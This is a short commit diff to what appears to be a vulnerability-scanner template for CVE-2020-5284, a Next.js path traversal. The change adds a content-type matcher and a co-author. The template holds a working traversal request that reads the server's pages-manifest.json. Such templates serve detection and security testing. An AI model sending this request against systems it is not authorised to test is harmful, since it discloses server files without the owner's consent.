🔨 Add content-type matcher CVE-2020-5284

patch-1
Dwi Siswanto 2020-08-24 11:34:40 +07:00
parent b2828c3a44
commit cd22d83f94
1 changed files with 6 additions and 2 deletions

View File

@ -2,19 +2,23 @@ id: CVE-2020-5284
info:
name: Next.js .next/ limited path traversal
author: Harsh & Rahul
author: Harsh & Rahul & dwisiswant0
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/_next/static/../server/pages-manifest.json"
matchers-condition: and
matchers:
- type: regex
regex:
- '\{"/_app":".*?_app\.js"'
part: body
- type: word
words:
- "application/json"
part: header
- type: status
status:
- 200